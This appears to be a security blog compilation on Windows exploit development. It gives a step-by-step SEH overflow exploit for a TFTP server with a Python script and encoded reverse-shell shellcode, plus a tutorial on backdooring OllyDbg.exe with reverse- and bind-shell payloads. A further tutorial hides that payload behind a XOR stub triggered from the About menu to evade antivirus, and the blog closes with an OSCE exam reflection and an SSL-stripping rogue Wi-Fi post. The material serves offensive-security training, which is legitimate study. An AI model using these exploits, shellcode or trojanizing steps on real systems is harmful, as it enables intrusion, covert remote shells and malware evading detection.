Fuzzing and BoF Engineering TFTPd

Intro

This BoF introduces the basics of jumping backwards using multi stage shellcodes. The 1st jump of 208 bytes is done using a directive EB D0, the 2nd stage shellcode is a little assemble code to take a long jump backwards. All these stages are padded by NOPs as illustrated below:

So basically, we are jumping back 2 times to reach a bigger user defined buffer that can fit out evil shellcode. Remember to adjust the buffer length/offset accordingly when you add the multistage shellcodes.

Fuzzing

1. Use spike to fuzz tftpd:
# vi tftp.spk
s_binary("0002");
s_string_variable("file.txt");
s_binary("00");
s_string_variable("netascascii");
s_binary("00");
sleep(1);

2. Start spike:
# /usr/bin/generic_send_udp 172.16.155.129 69 tftp.spk 0 0 5000

3. Attach tftpd.exe to Olly, start the debugger. Examine SEH overwrite. Spike will inform that overflow happen on the 1st variable, 'filename'.

4. Edit tftp-exp.py, use 'pattern_create.rb -l 5000':

#!/usr/bin/python
import socket
import sys
host = '172.16.155.129'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa[5000 chars]...j28Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
mode = "netascii"
payload = "\x00\x02" + filename+ "\0" + mode+ "\0"
s.sendto(payload, (host, port))

5a. Run the exploit agaisnt tftpd with olly attached. Upon crash, look for the SEH overwrite addr, run it agaisnt pattern_offset to find the offset length (eg 1232 or 1496 for w2003SP2).

5b. In Olly, check for safeSEH, Plugins->SafeSEH->Scan/SafeSEH. Only TFTPServer.exe does not have SafeSEH. Location of this exe is at 0040000, which is unusable bcoz is starts at 00.

6. Using the offset, mod the exploit to include the offset length (eg 1232 or 1496 for w2003SP2):

filename = "A"*1232 + "\x42\x42\x42\x42" + "C"*3764  # 5000 -1232 - 4 = 3764

Win2003SP2:

filename = "A" * 1496 + "\x4F\x48\x40" # + "\x43" * 3500

7. Restart Olly and reattach the process and run the exploit. In Olly, Click on "E", double click TFTPServerSP.exe, search for 'Seq of Command' (ctrl-s)......search for 'pop pop ret' address as return addr:
POP R32
POP R32
RET

Eg: Addr location is 0040F3B6 or 0040484F for W2003SP2

3 Byte EIP overwrite

8. Mod the exploit to include the return addr but omitt the last digit of the addr because 00(null byte) is not acceptable in our user defined buffer, the last 00 will be filled by  the tftp protocol:

filename = "A"*1232 + "\xB6\xF3\x40"  # or "\x4F\x48\x40" on W2003 SP2
..
..
payload = "\x00\x02" + filename + "\x00" + mode + "\x00"


9. Restart olly and attach tftpd process, set breakpoint at ret addr 0040F3B6 and rerun exploit. Access violation will occur, press shift f9 to go into the exception and land into the breakpoint. EIP should now be overwritten by the ret addr 00400F3B6 or 0040484F (Win2003SP4).

10. In the right lower pane(stack panel), the 3rd address from the top(pop pop ret), right click, follow in dump, you will fall at the end of the buffer with only 4 bytes of user defined buffer. Not ehough space for our evil deeds.

Short Negative Jump to 1st stage payload

11. Press f7, f7,f7(the pop pop ret) in the upper left panel to take the jumps until you reach the A(41),highlight the first 2 As, right click->Binary Edit, 'EB D0', to move up 46 bytes to the address space (eg 00C2FFAE or 0022FFB2 for W2003 SP2), place break point there (f2). Take the jump, f7, land on the "A"s.

Negative Jump to 2nd Stage payload

12. Compile 'phrack 62, article 7: Aaron Adams' shell code using nasm, the purpose of the shellcode is to take a long jump backwards into the user defined buffer:

vi jmp.bin
[BITS 32]

global _start
 _start:

# ;--- Taken from Phrack #62 Article 7 Originally written by Aaron Adams

# ;--- copy eip into ecx
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
# ;----------------------------------------------------------------------
dec ch;
dec ch;
jmp ecx;

nasm jmp.bin -o jmp
hexedit jmp

12a. mod the exploit, include the 1st stage payload and 2nd payload:

filename = "\xcc"*1128 + "\x90" * 83 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\xb6\xf3\x40" # 1232 - (83+17+4) = Add up the C(1128)+NOPs(83)+jumbackshell(17)+shortjumpback(4) = 1232

12b. If you are on w2003SP2:

filename = "\xcc" * 1445  + "\x90" * 30 +  "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\x4F\x48\x40" #Total offset is 1496, so 1445+30+17+4=1496

13. Restart olly and attach process, place breakpoint at 1st ret addr. run the exploit.

14. Shift-f9, land into pop pop ret, f7 3 times, land into the 1st(shortjump) and 2nd(longjumpshell) payload. Then finally into the final payload of CC.

Final Shellcode

15. Gen reverse shell, use backtrack5:

# msfpayload win32_reverse RHOST=192.168.102.53 RPORT=443 R | msfencode -b "\x00\x2f" -e ShikataGaNai

16. mod the exploit to include shellcode, minus the length of shellcode from the buffer:
#[*] Using Msf::Encoder::ShikataGaNai with final size of 314 bytes
buf = ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x15\xe0\x4d\x6a\x33\xc9\x5f\xb1\x49"
buf += "\x31\x57\x17\x83\xef\xfc\x03\x42\xf3\xaf\x9f\x90\x99\xc4\x2d\x80"
buf += "\xa7\xe4\x51\xaf\x38\x90\xc2\x6b\x9d\x2d\x5f\x4f\x56\x4d\x65\xd7"
buf += "\x69\x41\xee\x68\x72\x16\xae\x56\x83\xc3\x18\x1d\xb7\x98\x9a\xcf"
buf += "\x89\x5e\x05\xa3\x6e\x9e\x42\xbc\xaf\xd5\xa6\xc3\xed\x01\x4c\xf8"
buf += "\xa5\xf1\x85\x8b\xa0\x71\x8a\x57\x2a\x6d\x53\x1c\x20\x3a\x17\x7d"
buf += "\x25\xbd\xcc\x82\x79\x36\x9b\xe8\xa5\x54\xfd\x33\x94\xbf\x99\x38"
buf += "\x94\x0f\xe9\x7e\x17\xfb\x9d\x62\x8a\x70\x1d\x92\x8a\xee\x10\xec"
buf += "\x3c\x03\x7c\x0f\x96\xbd\x2e\x89\x7f\x71\xe3\x3d\xf7\x06\x31\xe2"
buf += "\xa3\x17\xe5\x74\x87\x05\xfa\xbf\x47\x29\xd5\xe0\xee\x30\xbc\x9f"
buf += "\x1c\xb2\x43\xca\xb4\xc1\xbc\x24\x20\x1f\x4b\x31\x1c\xc8\xb3\x6f"
buf += "\x0c\xa4\x18\xdc\xf0\x19\xdc\xb1\x09\x4d\x8a\xf5\x5e\x08\x7e\x93"
buf += "\xf6\xd4\x3b\x3d\x54\x5e\xda\x54\x32\x8c\xe4\xfc\xa3\x1b\xe8\xd6"
buf += "\x4e\xb4\x47\x83\x71\x64\x01\x41\xea\xe3\xa6\xf6\x9f\x81\x66\xa1"
buf += "\x76\x9a\x0e\xb6\xe3\x66\x98\xda\xc5\xa6\x69\xb0\xb3\xae\x73\x3a"
buf += "\xf9\x9d\x75\x80\xd2\x50\xf3\x3c\x80\xc0\xaf\x54\xa4\xe8\x03\xb2"
buf += "\xb7\x60\x4c\x45\x91\xd0\xdb\xeb\x4f\xb6\xb2\x61\x71\x69\x64\x20"
buf += "\x20\x76\x56\xa2\x6f\x51\x52\xfc\x23\x9d\x8b\x6a\x3b\x9e\x03\x95"
buf += "\x13\x09\x8b\x10\x52\xb3\xac\x97\x5e\xbb\x85\xa8\x28\xbf\xd5\x86"
buf += "\xbf\xcf\xa0\x22\x1f\x63\x4a\xfc\x60\x53"

filename = "\xcc"*600 + "\x90"*214 + buf + "\x90" *83 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\xb6\xf3\x40" # 600+214+314+83+17+4=1232 which is the original length of the offset

16a. In case you wish to pop a calc.exe instead:

msfvenom -p windows/exec cmd=calc.exe EXITFUNC=seh -e x86/shikata_ga_nai -b "\x00\x2f" -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf =  ""
buf += "\xbb\xf3\x84\xd0\x15\xdb\xdb\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x31\x31\x5a\x13\x83\xea\xfc\x03\x5a\xfc\x66"
buf += "\x25\xe9\xea\xe5\xc6\x12\xea\x89\x4f\xf7\xdb\x89\x34"
buf += "\x73\x4b\x3a\x3e\xd1\x67\xb1\x12\xc2\xfc\xb7\xba\xe5"
buf += "\xb5\x72\x9d\xc8\x46\x2e\xdd\x4b\xc4\x2d\x32\xac\xf5"
buf += "\xfd\x47\xad\x32\xe3\xaa\xff\xeb\x6f\x18\x10\x98\x3a"
buf += "\xa1\x9b\xd2\xab\xa1\x78\xa2\xca\x80\x2e\xb9\x94\x02"
buf += "\xd0\x6e\xad\x0a\xca\x73\x88\xc5\x61\x47\x66\xd4\xa3"
buf += "\x96\x87\x7b\x8a\x17\x7a\x85\xca\x9f\x65\xf0\x22\xdc"
buf += "\x18\x03\xf1\x9f\xc6\x86\xe2\x07\x8c\x31\xcf\xb6\x41"
buf += "\xa7\x84\xb4\x2e\xa3\xc3\xd8\xb1\x60\x78\xe4\x3a\x87"
buf += "\xaf\x6d\x78\xac\x6b\x36\xda\xcd\x2a\x92\x8d\xf2\x2d"
buf += "\x7d\x71\x57\x25\x93\x66\xea\x64\xf9\x79\x78\x13\x4f"
buf += "\x79\x82\x1c\xff\x12\xb3\x97\x90\x65\x4c\x72\xd5\x94"
buf += "\xbd\x4f\xc3\x01\x64\x3a\xae\x4f\x97\x90\xec\x69\x14"
buf += "\x11\x8c\x8d\x04\x50\x89\xca\x82\x88\xe3\x43\x67\xaf"
buf += "\x50\x63\xa2\xcc\x37\xf7\x2e\x3d\xd2\x7f\xd4\x41"

Note: Remember to adjust buf size accordingly in exploit code, you should have enough NOPs before the buf, ensure you land directly in the NOPs and not in the CCs:

filename = "\xcc" * 973 + "\x90" * 252 + buf + "\x90" * 30 + jumpback + "\xeb\xd0\x90\x90" + "\x4F\x48\x40"

17. Run the exploit. Done!

Reference

https://gist.github.com/r00tpgp/b5004a005d75592fa73a3ee1ef5ba8cf

Offsec Cracking The Perimeter. The road to OSCE.

Firstly, this is by far the toughest exam after the OSCP back in 2017. I signed up for  CTP course  with 3 months lab time but I had to extend it another month due to work and personal obligations. I decided to take a shot at the exam about 4 months into the course material, the first try was disastrous, I failed miserably. The second time, well, lets just say I was over confident and thought I could pull thru by acing 3 out of 4 questions. That expectation fell short as there was a trick challenge that I couldn't crack on prod. The way offsec tailored this exam, you had to attempt all the questions. Offsec really made the exam brutal and they really planned it out well, it was like they knew how most students would have avoided the dreaded topic and tried to focus on the 'easy ones'. So don't expect a walk in the park. Many times when I thought I had solved 1 problem, I ran into another one around the corner. It was very frustrating but in the end, it was persistence and perseverance(6 months in total) that lead me to pass this exam after the 3rd attempt. I think I spent over 40 hours doing my own research outside the course material. The material given is just the tip of the iceberg. To pass the CTP challenge, you really need to know the subject matter in and out. Offsec designed the exam to test your understanding. Replicating the answer straight out from the courseware will not help you pass this exam. This challenge will test your lateral thinking and your patience!! At times, I felt like quitting. Some of the material especially the HP NNM shellcode encoding subject was presented too shallow that I couldn't fully comprehend it. I remember going over and over this topic to a point I have recognized mutts voice by heart. If you search on youtube, you will find his full demo at Defcon explaining his exploit in depth with more detail. It is true that the CTP material is abit outdated, I'm guessing it was written  around 2009 but the fundamentals remain the same. A lot of emphasis on Windows Exploit Development, Debugging with Olly, Egghunting & Shellcoding. Other topics like code review is also necessary to pass this exam. Websites like Coreland, fuzzysecurity and Googling the shit out of these subjects are necessary. There are some useful blogs out there and there's even binaries for practice that is very useful. I read some peeps even took up separate assembly lessons in preparation for CTP challenge but I honestly don't think it is necessary. I don't want to give out too much detail but don't expect straight forward answers from the web either. Much of the info is out there but you have to piecemeal it until you have full level of understanding on the topics presented in the course material. I found the offsec forums and community very helpful too! Just don't go asking for exam materials ;-)

CTP  is  more focused in advance pentesting topics. Areas such as XSS to shell and SNMP to GRE sniffing was something that awed me! My advice to those thinking of attempting the CTP challenge is don't rely on the course material alone, think out of the box, challenge yourself to try different solutions to the ones already presented to you and most of all....TRY HARDER..if you fail...F*&^*** TRY HARDER UNTIL YOU GET IT RIGHT!

Overall, I think its not about obtaining the OSCE certification that gave me the confidence at what I do but rather the thought process of overcoming the challenges and the hours of perseverance in cracking the perimeter!

Backdooring Windows Apps

Here are summarized notes on how to get a working backdoor on a PE(Portable Executable) file on Windows 7. For this case, I backdoored OllyDbg.exe. The idea is to have seamless execution of OllyDbg while spawning a reverse shell on port 1978 to an attacker host.

Using standard MSF payload and encoder from BT5. Hijack execution flow into our code cave, no AV bypass or stub encoder. Standard utils such as LordPE to extend the section header and WVI32 to insert null bytes:

1. Use LordPe to create new section. Make it executable.

2. Use wvi32 to insert null chars, use same length as the section

3. Launch Immunity and open Ollydbg, take note of the module insertion point:

Original state:

00401000 >   EB 10          JMP SHORT OLLYDBG.00401012
00401002     66:623A        BOUND DI,DWORD PTR DS:[EDX]

4. Under "Memory" modules, look for the section ".Newsec" that contains the code cave 'null' mem location:

code cave: 00553000

5. Modify the entry point "JMP SHORT OLLYDBG.00401012" with the jmp statement to the code cave addr

JMP 00553000

Now, jump into the code cave using f7:


5a. Step into the code cave, enter the register saving cmds:

pushad
pushfd
<BT5 msfpayload here>
...

6. Use backtrack msfpayload to gen shellcode!! and select/highlight enough space in the code cave to binay paste the payload:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.162 LPORT=1978 R > shell; hexdump -C shell | grep -v 0000013a |cut -d" " -f3-19|tr -d "(\n|'')"
fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 68 c0 a8 00 a2  68 02 00 07 ba 89 e6 6a10 56 57 68 99 a5 74 61  ff d5 68 63 6d 64 00 89e3 57 57 57 31 f6 6a 12  59 56 e2 fd 66 c7 44 243c 01 01 8d 44 24 10 c6  00 44 54 50 56 56 56 4656 4e 56 56 53 56 68 79  cc 3f 86 ff d5 89 e0 4e56 46 ff 30 68 08 87 1d  60 ff d5 bb f0 b5 a2 5668 a6 95 bd 9d ff d5 3c  06 7c 0a 80 fb e0 75 05bb 47 13 72 6f 6a 00 53  ff d5

Here's one for bind shell:

msfpayload windows/shell_bind_tcp LPORT=1978 R > shell; hexdump -C shell | grep -v 00000155 |cut -d" " -f3-19|tr -d "(\n|'')"
fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 31 db 53 68 02  00 07 ba 89 e6 6a 10 5657 68 c2 db 37 67 ff d5  53 57 68 b7 e9 38 ff ffd5 53 53 57 68 74 ec 3b  e1 ff d5 57 89 c7 68 756e 4d 61 ff d5 68 63 6d  64 00 89 e3 57 57 57 31f6 6a 12 59 56 e2 fd 66  c7 44 24 3c 01 01 8d 4424 10 c6 00 44 54 50 56  56 56 46 56 4e 56 56 5356 68 79 cc 3f 86 ff d5  89 e0 4e 56 46 ff 30 6808 87 1d 60 ff d5 bb f0  b5 a2 56 68 a6 95 bd 9dff d5 3c 06 7c 0a 80 fb  e0 75

6a. Take note of the esp register addr at the start of the code cave at the CLD instuction address space.

7. IMPORTANT: Step into the end of the code cave, change any "call ebx" or "push ebx" statement to NOPs. This will ensure that the payload doesn't exit and will continue execution flow.

7a. Take note of the esp address at the last addr of the code cave. Now, align the stack, eg:

In case you have a reverse shell payload, the ESP start and end are:
start esp: 0012FF68
end esp: 0012FD6C
Diff: 0012FF68 - 0012FD6C = 1FC

In case you have a bind shell payload:
Diff: 0012FF68 - 0012FD70 = 1F8

7a. Realign ESP and restore EDX value by adding this statement at the end of code cave:

add esp,1f8
popfd
popad
JMP 00401012
DB 66
DB 62
DB 3A

7b. Binary save to file. Reopen with Immunity and reexamine it.

8. Make sure nc listener is active (nc -nlvp 1978). If backdoored PE only starts after nc listerner ended, step thru(f7) the payload until you hit end of execution or WaitForSingleObject. **keep hitting f7 until you see WaitForSingleObject!! very long process, be patient. Else,

8a. If whatforsingleobject is in system file (ntdll or etc), search for DEC ESI, PUSH ESI, INC ESI in the shellcode and NOP it. These are the variable that is passed to the WaitForSingleObject func().

00553111 DEC ESI    <-----NOP this!!
00553112 PUSH ESI
00553112 INC ESI  <-------NOP this!!

8b. Save the changes(XOR'ed payload) to a new executable.

8a. Remove the offending code with NOP or adjust and save it to another file and rerun.

9. Rerun the executable, a reverse shell should appear and OllyDbg should start!

References:
http://www.securitynewspaper.com/2017/11/21/fully-undetectable-backdooring-pe-files/
https://haiderm.com/fully-undetectable-backdooring-pe-file/

Tricking AV Scanners

Introduction

This is a continuation of Backdooring PE Files article. We take off from the same binary that was backdoored. The idea now is to hide the malicious payload from AV detection. We will create a 2nd code cave to host the XOR stub, encode the 1st code cave that contained the msfpayload and then realign the stack and return the execution flow to its original position.

The trick here is not to execute the XOR encoder immediately when OllyDebug is run. Instead, we will choose a function inside it, when the user clicks on the 'Help->'About'-> Hyperlink button, the XOR stub will decode the msfpayload. This provides better AV bypass than executing XOR stub immediately. I scored 3/63 in virustotal! Meaning only 3 AVs detected my method :-)

Pre-requisite

1. Use cave_miner to identify a slack in the binary, we'll be using the second entry in the cave_miner output below:

# cave_miner search --size 700 OLLYDBG-04.exe

    /========\
   /    ||    \
        ||
        ||
        ||
   CAVE || MINER

[*] Starting cave mining process...
    Searching for bytes: 0x00...

[*] New cave detected !
  section_name: .data
  cave_begin:   0x000c9d4b
  cave_end:     0x000ca1b4
  cave_size:    0x00000469
  vaddress:     0x004caf4b
  infos:        Readable, Writeable, Contain initialized data

[*] New cave detected !
  section_name: .data
  cave_begin:   0x000caa39
  cave_end:     0x000cab3a
  cave_size:    0x00000101
  vaddress:     0x004cbc39
  infos:        Readable, Writeable, Contain initialized data

[*] Mining finished.

2. Note the original location of the 1st code cave in the earlier backdoored OllyDbg.exe. This is the location of the raw msfpayload:

Start: 00553000

End: 00553139

3.  We will use BT5 to generate reverse_shell payload, LPORT =1978, RHOST=192.168.0.162

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.162 LPORT=1978 R > shell; hexdump -C shell | grep -v 0000013a |cut -d" " -f3-19|tr -d "(\n|'')"

fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 68 c0 a8 00 a2  68 02 00 07 ba 89 e6 6a10 56 57 68 99 a5 74 61  ff d5 68 63 6d 64 00 89e3 57 57 57 31 f6 6a 12  59 56 e2 fd 66 c7 44 243c 01 01 8d 44 24 10 c6  00 44 54 50 56 56 56 4656 4e 56 56 53 56 68 79  cc 3f 86 ff d5 89 e0 4e56 46 ff 30 68 08 87 1d  60 ff d5 bb f0 b5 a2 5668 a6 95 bd 9d ff d5 3c  06 7c 0a 80 fb e0 75 05bb 47 13 72 6f 6a 00 53  ff d5

3a. Either way, you can also use BT5 to generate a bind_shell:

 msfpayload windows/shell_bind_tcp LPORT=1978 R > shell; hexdump -C shell | grep -v 00000155 |cut -d" " -f3-19|tr -d "(\n|'')"

fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 31 db 53 68 02  00 07 ba 89 e6 6a 10 5657 68 c2 db 37 67 ff d5  53 57 68 b7 e9 38 ff ffd5 53 53 57 68 74 ec 3b  e1 ff d5 57 89 c7 68 756e 4d 61 ff d5 68 63 6d  64 00 89 e3 57 57 57 31f6 6a 12 59 56 e2 fd 66  c7 44 24 3c 01 01 8d 4424 10 c6 00 44 54 50 56  56 56 46 56 4e 56 56 5356 68 79 cc 3f 86 ff d5  89 e0 4e 56 46 ff 30 6808 87 1d 60 ff d5 bb f0  b5 a2 56 68 a6 95 bd 9dff d5 3c 06 7c 0a 80 fb  e0 75

4. This is the XOR STUB to encode, run it again and it will decode the payload. Pay attention to the start of the 1st code cave, the XOR key 0F, the end of the encoded address.

MOV EAX, 00553000          # Save start of encoding address in EAX, entry point

XOR BYTE PTR DS:[EAX],0F     # XOR the contents of EAX with XOR key 0F

INC EAX                                        # Increase EAX

CMP EAX, 00553139         # Have we reached the end enc. address?

JLE SHORT 004CAF54                 # If not, jump back to XOR command

The jump back to XOR command (004CAF54), is the address location of the XOR encoder: XOR BYTE PTR DS:[EAX],0F

Putting The Pieces Together

5. To trick the AV scanners, we should not trigger the decoder stub immediately but only when user clicks on a function in OllyDbg.exe such as Help->About->Hyperlink. To do this, we look for string text for reference in OllyDbg. In Immunity, Right Click->Search For-> All Reference Text Strings:

5a. Search for a text reference matching the function that you wish to hijack.

6. Secondly, we need to realign the entry point of OllyDbg to its natural flow since we had it modified earlier to jump directly to the 1st code cave. Below is the original entry point, which is what it's supposed to be.

7. The entry point to hijack is the 'About' function, which is located here:

00440CE2  |. 68 7F914B00    PUSH OLLYDBG-.004B917F 

00440CE7  |. 68 7A914B00    PUSH OLLYDBG-.004B917A                   

00440CEC  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]            

00440CEF  |. 50             PUSH EAX                                 ; |hWnd

00440CF0  |. E8 4DE60600    CALL <JMP.&SHELL32.ShellExecuteA>     

8.  Now change this entry address to jump to the 2nd code cave addr (the XOR stub location as identified by cave_miner)

eg:

JMP 004CBC39

9. Go to the 2nd code cave entry and enter the XOR stub. Press Ctrl-G and enter 004CBC39

10.  At the end of the XOR stub, retype the entry point code(first 3 lines):

eg:

PUSH 004B917F                  

PUSH 004B917A

MOV EAX,DWORD PTR SS:[EBP+8]

PUSH EAX

10. Lastly, it is time to jump to the 2nd code cave where our evil payload is located. The first time you jump here it will encode(XOR) the msfpayload, the 2nd time you jump there it will decode itself.

eg:

JMP 00553000

11. Save changes to Ollydbg-05.exe.

12. Reopen it in Immunity.

13. This time, place a Breakpoint just before the XOR stub and Step Into the XOR function (Press F7) until it finishes encoding. If you follow Dump in the EAX counter, you can witness the payload slowly encode itself in the Dump Window on the lower left panel.

13. Copy the encodered contents; highlight the encoded payload contents and Copy Executable->Selected encoded lines and save it to a new OllyDbg.exe file.

14. Now, execute OllyDbg.exe without Immunity and it should decode itself! OllyDbg should open up, when you press Help->About->hyperlink, a bind shell should appear on port 1978 localhost.

15. Done, try to scan it against virustotal to see your score! I got 3/63! Which is pretty impressive :-)

References

http://www.securitynewspaper.com/2017/11/21/fully-undetectable-backdooring-pe-files/
https://haiderm.com/fully-undetectable-backdooring-pe-file/

Vulnserver.exe

A few Buffer overflow scripts I wrote for vulnserver.exe. Mostly EIP overwrites and a few SEH. Played with egghunters too. You can access it, here.

EasyChat Server 3.1 Remote Buffer Overflow Exploit

A simple remote BoF exploit for EasyChat Server ver 3.1, CVE2004-2466. You can find the code @ my github gist. This exploit uses SEH overwrite which I find easier than the traditional EIP overwrite. With SEH, we overwrite it with the address location of the 'POP POP RET' directive directly on the stack, as opposed to hunting for a 'JMP ESP'. This exploit spawns a reverse meterpreter shell, which can be easily modified using msfvenom.

The exploit breakdown is pretty simple, there are only 2 bad chars to avoid, thus, none of which mangles the return address. Firstly, we send 217 bytes of 'A's to reach nseh, also known as an offset. Then, we hop over it with a 6 byte jump to seh, which contains the address location 'POP POP Ret' which puts us neatly at the start of our evil shellcode. Below illustrates the exploit:

pattern --> nseh --> seh --> evil buf

A word of caution to always check if SafeSEH is turn ON before trying to exploit this handler. This can be achieved by using the SafeSEH check in OllyDbg. Another reason of using SEH overwrite in cases you do not get an EIP overwrite immediately. You should be able to overwrite EIP, upon receiving the exception; press shift-control-f9 in Olly or Immunity.

I'm working on Egg Hunting, ASLR bypass and AV Avoidance techniques. In next month post, I'll publish several step-by-step instructions on developing more advance Windows Buffer Overflow exploits.



Note: All exploit codes are for educational purposes only, I take no responsibility for any unlawful or misuse of my code.

SSLStripping Using Wifi-pumpkin With Kali Linux

In my post last year I wrote about 'Protecting Your Data'. One topic I touched about protecting data while in transit.

Figure Illustrates a Rogue Wifi AP to Intercept Traffic 

With the proliferation of free wifi hot spots everywhere, it is important to be mindful of your privacy and online security. Such 'hotspots' could be deliberately setup to lure you to connect for free Internet access with an intention to harvest credentials such as webmail, social media & online banking accounts. During my test of Wifi-pumpkin, not all websites were vulnerable to ssl stripping. For instance, some websites implement HSTS (HTTP Strict Transport Security), a mechanism that denies HTTPS traffic from being downgraded. However, there are still a significant number of websites that are vulnerable to this form of attack. Some online banking websites have taken added precaution by encoding/hashing user credentials prior to TLS transmission. Thus raises the bar for the threat actor that intercepts to decipher the symmetric key. It is worth to note that sslstripping is also browser dependent. I've tested some stock browsers on older Android models and it works like a charm. Surprisingly, Firefox on mobile and PC seems to be vulnerable to this attack too. Check out the video to see how sslstripping removes the SSL/TLS hyperlinks in a search query done on bing.com and google.com. It was noted that bing does not warn the user of the downgrade but google does. The learnings from here is to be careful of  public wifi hotspots. Especially at airports, malls, cafe, etc. Always connect to a trusted vpn provider whilst using a public hotspot.